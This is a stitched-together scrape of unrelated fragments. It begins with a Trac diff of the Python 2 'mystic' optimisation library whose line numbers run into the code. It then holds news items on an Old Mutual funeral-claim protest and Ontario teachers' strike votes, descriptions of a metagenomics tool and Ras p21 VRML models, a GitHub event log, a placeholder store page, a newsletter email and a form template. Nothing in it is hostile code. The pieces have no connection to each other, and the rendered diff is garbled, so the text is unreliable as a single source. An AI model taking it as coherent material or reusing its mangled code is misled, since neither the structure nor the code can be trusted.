use optimization to get model-valid points 1148 from mystic.solvers import diffev2, fmin_powell 1149 from mystic.monitors import Monitor, VerboseMonitor 1150 from mystic.strategy import Best1Bin, Best1Exp 1151 evalmon = Monitor(); stepmon = Monitor(); strategy = Best1Exp 1152 if debug: stepmon = VerboseMonitor(2) #!!! 1153 if npop: # use VTR 1154 results = diffev2(cost, guess, npop, ftol=ftol, gtol=gtol, bounds=bounds,\ 1155 maxiter=maxiter, maxfun=maxfun, constraints=constraints,\ 1156 cross=crossover, scale=percent_change, strategy=strategy,\ 1157 evalmon=evalmon, itermon=stepmon,\ 1158 full_output=1, disp=0, handler=False) 1159 else: # use VTR 1160 results = fmin_powell(cost, guess, ftol=ftol, gtol=gtol, bounds=bounds,\ 1161 maxiter=maxiter, maxfun=maxfun, constraints=constraints,\ 1162 evalmon=evalmon, itermon=stepmon,\ 1163 full_output=1, disp=0, handler=False) 1164 # repack the results 1165 pm = scenario() 1166 pm.load(results[0], pts) # params: w,x,y 1167 #if debug: print "final cost: %s" % results[1] 1168 if debug and results[2] >= maxiter: # iterations 1169 print "Warning: constraints solver terminated at maximum iterations" 1170 #func_evals = results[3] # evaluation 1171 return pm 1172 1173 1174 if __name__ == '__main__': 1175 from mystic.math.paramtrans import * 1176 model = lambda x:sum(x) 1177 a = [0,1,9,8, 1,0,4,6, 1,0,1,2, 0,1,2,3,4,5,6,7] 1178 feasability = 0.0; deviation = 0.01 1179 validity = 5.0; wiggle = 1.0 1180 y_mean = 5.0; y_buffer = 0.0 1181 L = [.75,.5,.25] 1182 bc = [(0,7,2),(3,0,2),(2,0,3),(1,0,3),(2,4,2)] 1183 bv = [5,3,1,4,8] 1184 pts = (2,2,2) 1185 from mystic.math.legacydata import dataset 1186 data = dataset() 1187 data.load(bc, bv) 1188 data.lipschitz = L 1189 pm = scenario() 1190 pm.load(a, pts) 1191 pc = pm.coords 1192 pv = pm.values 1193 #--- 1194 _data = dataset() 1195 _data.load(bc, bv) 1196 _data.load(pc, pv) 1197 _data.lipschitz = data.lipschitz 1198 from numpy import sum 1199 ans = sum(lipschitz_distance(L, pm, _data)) 1200 print "original: %s @ %s\n" % (ans, a) 1201 #print "pm: %s" % pm 1202 #print "data: %s" % data 1203 #--- 1204 lb = [0,.5,-100,-100, 0,.5,-100,-100, 0,.5,-100,-100, 0,0,0,0,0,0,0,0] 1205 ub = [.5,1, 100, 100, .5,1, 100, 100, .5,1, 100, 100, 9,9,9,9,9,9,9,9] 1206 bounds = (lb,ub) 1207 1208 _constrain = mean_y_norm_wts_constraintsFactory((y_mean,y_buffer), pts) 1209 results = impose_feasible(feasability, data, guess=pts, tol=deviation, \ 1210 bounds=bounds, constraints=_constrain) 1211 from mystic.math.measures import mean 1212 print "solved: %s" % results.flatten(all=True) 1213 print "mean(y): %s >= %s" % (mean(results.values, results.weights), y_mean) 1214 print "sum(wi): %s == 1.0" % [sum(w) for w in results.wts] 1215 1216 print "\n---------------------------------------------------\n" 1217 1218 bc = bc[:-2] 1219 ids = ['1','2','3'] 1220 t = dataset() 1221 t.load(bc, map(model, bc), ids) 1222 t.update(t.coords, map(model, t.coords)) 1223 # r = dataset() 1224 # r.load(t.coords, t.values) 1225 # L = [0.1, 0.0, 0.0] 1226 print "%s" % t 1227 print "L: %s" % L 1228 print "shortness:" 1229 print lipschitz_distance(L, t, t, tol=0.0) 1230 1231 print "\n---------------------------------------------------\n" 1232 1233 print "Y: %s" % str(results.values) 1234 print "sum(wi): %s == 1.0" % [sum(w) for w in results.wts] 443 1235 444 1236 -
mystic/_math/legacydata.py
r558 r569 328 328 if L is None: L = self.lipschitz 329 329 if data is None: data = self 330 from paramtrans import lipschitz_distance, is_feasible330 from mystic.math.paramtrans import lipschitz_distance, is_feasible 331 331 # calculate the shortness 332 332 Rv = lipschitz_distance(L, self, data, **kwds) … … 372 372 elif cutoff is False: cutoff = None 373 373 374 from paramtrans import graphical_distance, is_feasible374 from mystic.math.paramtrans import graphical_distance, is_feasible 375 375 # calculate the model validity 376 376 Rv = graphical_distance(model, self, **kwds) -
mystic/_math/paramtrans.py
r558 r569 305 305 #L = list of lipschitz constants, for use when lipschitz metric is desired 306 306 #constraints = constraints function for finding minimum distance 307 from legacydata import dataset307 from mystic.math.legacydata import dataset 308 308 from numpy import asarray 309 309 from mystic.solvers import diffev2, fmin_powell … … 422 422 print "\nbuilding a scenario from the params..." 423 423 # [store Y as 'values' OR register(F) for Y=F(X) OR points store y as 'val' ?] 424 from dirac_measure import scenario424 from mystic.math.dirac_measure import scenario 425 425 pm = scenario() 426 426 pm.load(param1, pts) … … 437 437 # build a dataset (using X,Y) 438 438 # [store W as 'weights' ?] 439 from legacydata import dataset439 from mystic.math.legacydata import dataset 440 440 d = dataset() 441 441 d.load(X, Y)
Note: See TracChangeset
for help on using the changeset viewer.


South African family drops corpse at offices of insurance firm for failing to pay funeral claims
by Mohammed AwalA South African family has been forced to drop off a corpse at the offices of a banking and insurance firm, Old Mutual, for allegedly refusing to pay a funeral claim.
The move by the family sparked outrage among South Africans, especially on social media.
Videos of the incident which emerged on Tuesday, show two women removing the “body” from Old Mutual offices, back into a hearse, with one of them asking, “Had we not done this, when were they going to pay?”
The videos, which have since gone viral, sparked outrage on social media, with users slamming the company over its insensitivity towards the bereaved family.
Responding to the backlash, Old Mutual described the incident as “isolated but regretful.”
Outrage on social media


ConTaInR is a web-based tool for analysis of metagenomic data. It contains four main functionalities:
The first one helps you to filter and preprocess your FastQ files.
The second one is to BLAST (uses BLAST+) that reads against an inhouse reference database.
The third one visualizes the BLAST results in a sunburst and graphs and gives the option to extract the desired results.
The last one uses BLAST to annotate the sequences based on taxonomy. Several attributes can influence the quality of reads in metagenomic datasets.
To use these functionalities, ConTaInR uses FASTQ files as input. There are two forms of output:
A TSV file which contains the session information. In this file is shown which steps ConTaInR has taken and which filters it has applied. (Warning: please read the information on the bottom of the preprocess page before opening the file in Excel.)
A FASTA file with the sequences bound by the selection in the sunburst.


Three different VRML representations are available for the Ras p21 structure. They all use the schematic representation of secondary structure, where alpha-helices are shown as helical ribbons, and beta-strands as arrows.
Some features of the ras p21 structure are explained here:
Gallery page


review_requested
by None at 2020-10-01 23:21:44.review_requested
by Cliff Wulfman at 2020-10-01 15:31:04.review_requested
by Cliff Wulfman at 2020-10-01 15:31:04.deployed
by Trey Pendragon at 2020-10-01 12:56:01.deployed
by Trey Pendragon at 2020-10-01 12:59:13.referenced
by Christina Chortaria at 2020-10-01 13:34:17.merged
by Christina Chortaria at 2020-10-01 13:34:17.closed
by Christina Chortaria at 2020-10-01 13:34:17.Coverage increased (+0.04%) to 81.932% when pulling 32710ef69b529901fab25b55428aaeeeaaf9e1f8 on bib-spec-failure into 99890274c6a4db17be731731137310e2ba6a3cfa on master.
head_ref_force_pushed
by None at 2020-10-01 13:59:38.referenced
by Christina Chortaria at 2020-10-01 14:02:38.merged
by Christina Chortaria at 2020-10-01 14:02:38.closed
by Christina Chortaria at 2020-10-01 14:02:38.referenced
by None at 2020-10-01 20:57:48.merged
by None at 2020-10-01 20:57:48.closed
by None at 2020-10-01 20:57:48.head_ref_deleted
by None at 2020-10-01 20:57:51.Coverage remained the same at 96.578% when pulling 0ebfcf340c3137a319772b572c88890941e5f713 on refactorwarningmsg into da07fd4128d8e11530915e0a05e8db3ac7218af6 on main.
review_requested
by Kevin Reiss at 2020-10-01 03:32:55.head_ref_force_pushed
by None at 2020-10-01 11:15:32.deployed
by Trey Pendragon at 2020-10-01 11:15:45.referenced
by None at 2020-10-01 11:53:54.merged
by None at 2020-10-01 11:53:54.closed
by None at 2020-10-01 11:53:54.ready_for_review
by Kate Lynch at 2020-09-30 23:08:16.referenced
by None at 2020-10-01 12:34:10.merged
by None at 2020-10-01 12:34:11.closed
by None at 2020-10-01 12:34:11.closed
by None at 2020-10-01 12:34:11.moved_columns_in_project
by None at 2020-10-01 12:34:12.assigned
by None at 2020-10-01 13:18:28.referenced
by None at 2020-10-01 15:09:31.merged
by None at 2020-10-01 15:09:31.closed
by None at 2020-10-01 15:09:31.head_ref_deleted
by None at 2020-10-01 15:10:05.referenced
by None at 2020-10-01 16:15:07.merged
by None at 2020-10-01 16:15:07.closed
by None at 2020-10-01 16:15:07.head_ref_deleted
by None at 2020-10-01 16:15:12.review_requested
by Kevin Reiss at 2020-10-01 18:45:58.deployed
by Trey Pendragon at 2020-10-01 20:08:28.closed
by Francis Kayiwa at 2020-10-01 14:06:14.closed
by Francis Kayiwa at 2020-10-01 14:06:30.closed
by Francis Kayiwa at 2020-10-01 14:29:48.referenced
by Francis Kayiwa at 2020-10-01 16:10:15.merged
by Francis Kayiwa at 2020-10-01 16:10:15.closed
by Francis Kayiwa at 2020-10-01 16:10:15.head_ref_deleted
by Francis Kayiwa at 2020-10-01 16:10:16.@jrgriffiniii I'm going to close this. I closed the HB ticket as well. If it pops back up for some reason, we can reopen.
closed
by Eliot Jordan at 2020-10-01 17:13:57.mentioned
by James R. Griffin III at 2020-10-01 17:13:57.subscribed
by James R. Griffin III at 2020-10-01 17:13:57.assigned
by Eliot Jordan at 2020-10-01 17:15:48.referenced
by Trey Pendragon at 2020-10-01 17:35:25.merged
by Trey Pendragon at 2020-10-01 17:35:25.closed
by Trey Pendragon at 2020-10-01 17:35:25.head_ref_deleted
by Trey Pendragon at 2020-10-01 17:35:29.renamed
by Eliot Jordan at 2020-10-01 16:26:32.assigned
by Eliot Jordan at 2020-10-01 17:10:36.closed
by Trey Pendragon at 2020-10-01 17:36:39.referenced
by Trey Pendragon at 2020-10-01 17:36:39.merged
by Trey Pendragon at 2020-10-01 17:36:39.closed
by Trey Pendragon at 2020-10-01 17:36:39.head_ref_deleted
by Trey Pendragon at 2020-10-01 17:36:43.Closed by #398
closed
by Eliot Jordan at 2020-10-01 17:39:48.closed
by Christina Chortaria at 2020-10-01 18:20:38.moved_columns_in_project
by Christina Chortaria at 2020-10-01 18:20:38.review_requested
by James R. Griffin III at 2020-10-01 17:43:54.referenced
by Christina Chortaria at 2020-10-01 18:20:37.merged
by Christina Chortaria at 2020-10-01 18:20:37.closed
by Christina Chortaria at 2020-10-01 18:20:38.head_ref_deleted
by Christina Chortaria at 2020-10-01 18:20:39.head_ref_force_pushed
by Kevin Reiss at 2020-09-30 22:16:57.head_ref_force_pushed
by Kevin Reiss at 2020-10-01 03:20:19.review_requested
by Kevin Reiss at 2020-10-01 03:31:31.referenced
by None at 2020-10-01 11:13:15.merged
by None at 2020-10-01 11:13:15.closed
by None at 2020-10-01 11:13:15.head_ref_deleted
by None at 2020-10-01 11:13:19.referenced
by Kevin Reiss at 2020-10-01 14:01:59.merged
by Kevin Reiss at 2020-10-01 14:01:59.closed
by Kevin Reiss at 2020-10-01 14:01:59.closed
by None at 2020-10-01 18:07:46.closed by https://github.com/pulibrary/requests/commit/86381fae834ff0c9abb925f8ce57286f5c16875d
assigned
by None at 2020-10-01 18:08:56.closed
by None at 2020-10-01 18:17:46.closed
by None at 2020-10-01 18:19:55.referenced
by None at 2020-10-01 14:11:50.referenced
by None at 2020-10-01 14:56:39.referenced
by None at 2020-10-01 15:22:39.assigned
by None at 2020-10-01 17:35:25.closed
by Kevin Reiss at 2020-10-01 18:34:24.head_ref_force_pushed
by None at 2020-10-01 14:56:39.head_ref_force_pushed
by None at 2020-10-01 15:22:40.referenced
by Kevin Reiss at 2020-10-01 18:34:24.merged
by Kevin Reiss at 2020-10-01 18:34:24.closed
by Kevin Reiss at 2020-10-01 18:34:24.head_ref_deleted
by Kevin Reiss at 2020-10-01 18:34:31.renamed
by Kevin Reiss at 2020-10-01 21:04:49.renamed
by Kevin Reiss at 2020-10-01 21:23:25.


High school teachers to reveal strike vote results, discuss 'next steps'
by The Canadian PressThe union representing Ontario’s high school teachers will be releasing the results of their strike votes today.
A media advisory also says the president of the Ontario Secondary School Teachers’ Federation will be talking about the union’s “next steps.”
The OSSTF is already in a legal strike position as of today, though it’s also required to give five days notice before a strike and has not yet done so.
Three of Ontario’s four major teachers’ unions are taking steps toward potential strikes as they negotiate with the government for new contracts.
Elementary teachers are set to start a work-to-rule campaign on Nov. 26 that they say will target ministry and school board administrative tasks and will not affect student learning.
Catholic teachers voted 97 per cent in favour of a strike if necessary, although they are not yet in a legal strike position, while negotiations between the province and French teachers continue.


home
Salmon cookies
Salmon in Your Cookies
About us
locations
Sales List
Contact
Store name:
Minimum number of customers/hr:
Maximum number of customers/hr:
Avg. number of cookies per customer:


You're receiving this e-mail because you try to subscribe to my newsletter on my personal blog. To confirm this is correct, click here. Thank you from Tobi-De!


{% extends "layout.html" %} {% block page_title %} Start page example {% endblock %} {% block content %} Did your firm attend any HPCDS sessions between 1 and 31 December? This includes any agents/caseworkers who work on the firms behalf. Yes No {% endblock %}
This includes any agents/caseworkers who work on the firms behalf.